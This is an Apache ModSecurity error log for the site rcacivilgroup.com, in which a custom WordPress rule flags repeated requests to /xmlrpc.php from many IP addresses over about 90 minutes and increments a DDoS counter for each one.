[Fri Apr 17 17:24:30.107314 2026] [:error] [pid 9152:tid 9207] [client 167.99.153.99:46176] [client 167.99.153.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.153.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH8TpJYca8I3TNCwIcrrgAAAFE"]
[Fri Apr 17 17:29:02.622758 2026] [:error] [pid 9152:tid 9210] [client 217.61.143.66:41984] [client 217.61.143.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.61.143.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH9XpJYca8I3TNCwIcspwAAAFQ"]
[Fri Apr 17 17:30:25.324953 2026] [:error] [pid 9151:tid 9185] [client 163.61.60.30:43836] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.60.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH9schTVuRPkua22vQmtwAAABg"]
[Fri Apr 17 17:30:44.982318 2026] [:error] [pid 25010:tid 25014] [client 87.98.165.243:59140] [client 87.98.165.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.98.165.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH9xI-7kkf42RarqQ1auQAAAUE"]
[Fri Apr 17 17:34:57.637326 2026] [:error] [pid 9152:tid 9204] [client 35.226.125.165:40410] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH-wZJYca8I3TNCwIcuGQAAAE4"]
[Fri Apr 17 17:35:01.660036 2026] [:error] [pid 25010:tid 25015] [client 152.42.226.162:49644] [client 152.42.226.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.226.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH-xY-7kkf42RarqQ1bdAAAAUI"]
[Fri Apr 17 17:38:06.915274 2026] [:error] [pid 61523:tid 61541] [client 77.65.214.113:50022] [client 77.65.214.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.65.214.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH_fsOaH-Pgc7WEf4OEhQAAAcA"]
[Fri Apr 17 17:39:31.121727 2026] [:error] [pid 9263:tid 9272] [client 51.195.86.160:54956] [client 51.195.86.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.195.86.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH_0xP68VyHNvj1e578CAAAAMc"]
[Fri Apr 17 17:46:20.500480 2026] [:error] [pid 9263:tid 9285] [client 167.99.153.99:58188] [client 167.99.153.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.153.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIBbBP68VyHNvj1e57-CQAAANQ"]
[Fri Apr 17 17:47:09.717411 2026] [:error] [pid 9152:tid 9211] [client 46.163.72.195:52020] [client 46.163.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.163.72.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIBnZJYca8I3TNCwIcxCwAAAFU"]
[Fri Apr 17 17:48:25.074270 2026] [:error] [pid 9263:tid 9285] [client 213.165.70.105:49992] [client 213.165.70.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.165.70.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIB6RP68VyHNvj1e57_EgAAANQ"]
[Fri Apr 17 17:49:54.048583 2026] [:error] [pid 9263:tid 9274] [client 200.152.177.16:45672] [client 200.152.177.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.152.177.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeICQhP68VyHNvj1e57_cwAAAMk"]
[Fri Apr 17 17:52:53.654184 2026] [:error] [pid 9263:tid 9280] [client 68.183.124.132:47860] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIC9RP68VyHNvj1e54AkQAAAM8"]
[Fri Apr 17 17:54:12.970642 2026] [:error] [pid 9152:tid 9200] [client 148.251.75.145:37712] [client 148.251.75.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.75.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIDRJJYca8I3TNCwIcyJQAAAEo"]
[Fri Apr 17 17:55:24.054087 2026] [:error] [pid 34273:tid 34295] [client 77.65.214.113:36238] [client 77.65.214.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.65.214.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIDjGuQDW686mK3dgHkGQAAAZQ"]
[Fri Apr 17 17:56:21.539524 2026] [:error] [pid 34273:tid 34291] [client 35.234.37.132:34516] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.37.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIDxWuQDW686mK3dgHkMgAAAZA"]
[Fri Apr 17 17:56:42.259296 2026] [:error] [pid 9152:tid 9213] [client 66.70.178.228:57826] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeID2pJYca8I3TNCwIcyvQAAAFc"]
[Fri Apr 17 17:57:17.208006 2026] [:error] [pid 51878:tid 51880] [client 83.96.201.169:50050] [client 83.96.201.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.96.201.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeID_UnQhUtMbw9EsgZH-QAAAQA"]
[Fri Apr 17 17:57:51.652888 2026] [:error] [pid 9151:tid 9176] [client 141.95.19.158:52054] [client 141.95.19.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.19.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIEH8hTVuRPkua22vQpJwAAAA8"]
[Fri Apr 17 17:59:36.270052 2026] [:error] [pid 61523:tid 61549] [client 51.68.74.67:40394] [client 51.68.74.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.68.74.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIEiMOaH-Pgc7WEf4OKGgAAAcc"]
[Fri Apr 17 18:01:05.784271 2026] [:error] [pid 34273:tid 34275] [client 202.163.81.16:34644] [client 202.163.81.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.163.81.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIE4WuQDW686mK3dgHkjgAAAYA"]
[Fri Apr 17 18:02:26.890330 2026] [:error] [pid 25010:tid 25023] [client 195.250.23.93:34400] [client 195.250.23.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.250.23.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIFMo-7kkf42RarqQ1d6gAAAUo"]
[Fri Apr 17 18:07:32.606623 2026] [:error] [pid 9263:tid 9278] [client 103.110.84.178:35390] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIGZBP68VyHNvj1e54EogAAAM0"]
[Fri Apr 17 18:12:52.956416 2026] [:error] [pid 9263:tid 9266] [client 51.159.214.31:42120] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIHpBP68VyHNvj1e54H1QAAAME"]
[Fri Apr 17 18:12:58.679921 2026] [:error] [pid 9152:tid 9208] [client 62.169.28.251:45878] [client 62.169.28.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.169.28.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIHqpJYca8I3TNCwIc2ngAAAFI"]
[Fri Apr 17 18:13:42.319267 2026] [:error] [pid 9152:tid 9202] [client 34.175.117.206:56846] [client 34.175.117.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.175.117.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIH1pJYca8I3TNCwIc24wAAAEw"]
[Fri Apr 17 18:16:02.734765 2026] [:error] [pid 34273:tid 34280] [client 157.245.242.100:31048] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.242.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIIYmuQDW686mK3dgHntAAAAYU"]
[Fri Apr 17 18:17:19.331908 2026] [:error] [pid 51878:tid 51895] [client 146.190.155.17:49040] [client 146.190.155.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.155.17, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIIr0nQhUtMbw9EsgZM4wAAAQ8"]
[Fri Apr 17 18:17:49.519822 2026] [:error] [pid 9151:tid 9179] [client 37.128.148.215:53460] [client 37.128.148.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.128.148.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIIzchTVuRPkua22vQryQAAABI"]
[Fri Apr 17 18:20:22.881998 2026] [:error] [pid 9263:tid 9277] [client 173.249.55.89:34052] [client 173.249.55.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.55.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIJZhP68VyHNvj1e54MMwAAAMw"]
[Fri Apr 17 18:20:53.375668 2026] [:error] [pid 9153:tid 9238] [client 66.179.191.163:59378] [client 66.179.191.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.179.191.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIJheMHGxkTZX3c45fwXAAAAJQ"]
[Fri Apr 17 18:23:23.805144 2026] [:error] [pid 9152:tid 9191] [client 185.226.232.56:46942] [client 185.226.232.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.226.232.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIKG5JYca8I3TNCwIc52AAAAEE"]
[Fri Apr 17 18:28:00.957086 2026] [:error] [pid 61523:tid 61552] [client 68.183.124.132:41760] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeILMMOaH-Pgc7WEf4OVIgAAAco"]
[Fri Apr 17 18:29:51.223326 2026] [:error] [pid 61523:tid 61561] [client 146.190.155.17:32788] [client 146.190.155.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.155.17, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeILn8OaH-Pgc7WEf4OVkgAAAdM"]
[Fri Apr 17 18:30:12.618684 2026] [:error] [pid 9152:tid 9212] [client 54.38.178.30:52420] [client 54.38.178.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.178.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeILtJJYca8I3TNCwIc7HQAAAFY"]
[Fri Apr 17 18:31:20.804480 2026] [:error] [pid 61523:tid 61566] [client 81.169.226.163:38106] [client 81.169.226.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.226.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIL-MOaH-Pgc7WEf4OV9QAAAdg"]
[Fri Apr 17 18:31:54.657918 2026] [:error] [pid 9153:tid 9239] [client 159.89.91.236:54028] [client 159.89.91.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.91.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIMGuMHGxkTZX3c45fxlgAAAJU"]
[Fri Apr 17 18:35:16.132316 2026] [:error] [pid 51878:tid 51892] [client 162.222.34.234:57006] [client 162.222.34.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.222.34.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIM5EnQhUtMbw9EsgZQMwAAAQw"]
[Fri Apr 17 18:35:46.898344 2026] [:error] [pid 9152:tid 9206] [client 159.65.130.72:41984] [client 159.65.130.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.130.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeINApJYca8I3TNCwIc8bwAAAFA"]
[Fri Apr 17 18:36:51.648342 2026] [:error] [pid 25010:tid 25028] [client 122.183.51.160:1812] [client 122.183.51.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.183.51.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeINQ4-7kkf42RarqQ1iiwAAAU8"]
[Fri Apr 17 18:37:14.284674 2026] [:error] [pid 9153:tid 9219] [client 122.183.51.160:28785] [client 122.183.51.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.183.51.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeINWuMHGxkTZX3c45fyVAAAAIE"]
[Fri Apr 17 18:37:34.034956 2026] [:error] [pid 61523:tid 61543] [client 122.183.51.160:16852] [client 122.183.51.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.183.51.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeINbsOaH-Pgc7WEf4OXewAAAcE"]
[Fri Apr 17 18:37:55.527575 2026] [:error] [pid 9151:tid 9179] [client 122.183.51.160:21986] [client 122.183.51.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.183.51.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeINg8hTVuRPkua22vQtvgAAABI"]
[Fri Apr 17 18:38:17.648576 2026] [:error] [pid 34273:tid 34275] [client 122.183.51.160:7174] [client 122.183.51.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.183.51.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeINmWuQDW686mK3dgHrcgAAAYA"]
[Fri Apr 17 18:39:56.371071 2026] [:error] [pid 61523:tid 61544] [client 34.67.6.8:52364] [client 34.67.6.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.67.6.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIN_MOaH-Pgc7WEf4OXpwAAAcI"]
[Fri Apr 17 18:43:20.732728 2026] [:error] [pid 25010:tid 25014] [client 157.245.42.243:47652] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.42.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIOyI-7kkf42RarqQ1iyQAAAUE"]
[Fri Apr 17 18:43:39.873813 2026] [:error] [pid 34273:tid 34294] [client 46.225.100.56:36916] [client 46.225.100.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.225.100.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIO22uQDW686mK3dgHsPQAAAZM"]
[Fri Apr 17 18:44:27.836865 2026] [:error] [pid 9151:tid 9182] [client 103.153.2.10:46312] [client 103.153.2.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.153.2.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIPC8hTVuRPkua22vQt9QAAABU"]
[Fri Apr 17 18:45:15.002450 2026] [:error] [pid 51878:tid 51894] [client 185.246.164.237:44504] [client 185.246.164.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.246.164.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIPO0nQhUtMbw9EsgZRJQAAAQ4"]
[Fri Apr 17 18:47:25.868548 2026] [:error] [pid 61523:tid 61565] [client 172.176.155.194:46576] [client 172.176.155.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.176.155.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIPvcOaH-Pgc7WEf4OYuQAAAdc"]
[Fri Apr 17 18:48:02.780508 2026] [:error] [pid 9263:tid 9267] [client 104.248.23.4:41772] [client 104.248.23.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.248.23.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIP4hP68VyHNvj1e54SkQAAAMI"]
[Fri Apr 17 18:49:14.483314 2026] [:error] [pid 61523:tid 61544] [client 13.235.96.22:49968] [client 13.235.96.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.235.96.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIQKsOaH-Pgc7WEf4OZBwAAAcI"]
[Fri Apr 17 18:54:55.427119 2026] [:error] [pid 51878:tid 51888] [client 165.22.37.239:59784] [client 165.22.37.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.37.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIRf0nQhUtMbw9EsgZSOwAAAQg"]
[Fri Apr 17 18:56:34.637561 2026] [:error] [pid 51878:tid 51903] [client 204.48.18.182:34066] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIR4knQhUtMbw9EsgZSxgAAARc"]
[Fri Apr 17 18:58:23.936895 2026] [:error] [pid 51878:tid 51880] [client 195.250.23.93:35160] [client 195.250.23.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.250.23.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIST0nQhUtMbw9EsgZTCwAAAQA"]
[Fri Apr 17 19:00:46.517883 2026] [:error] [pid 25010:tid 25021] [client 147.93.131.179:48446] [client 147.93.131.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.93.131.179, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIS3o-7kkf42RarqQ1j1gAAAUg"]
[Fri Apr 17 19:02:02.894216 2026] [:error] [pid 9153:tid 9236] [client 157.245.42.243:49192] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.42.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeITKuMHGxkTZX3c45f0AwAAAJI"]
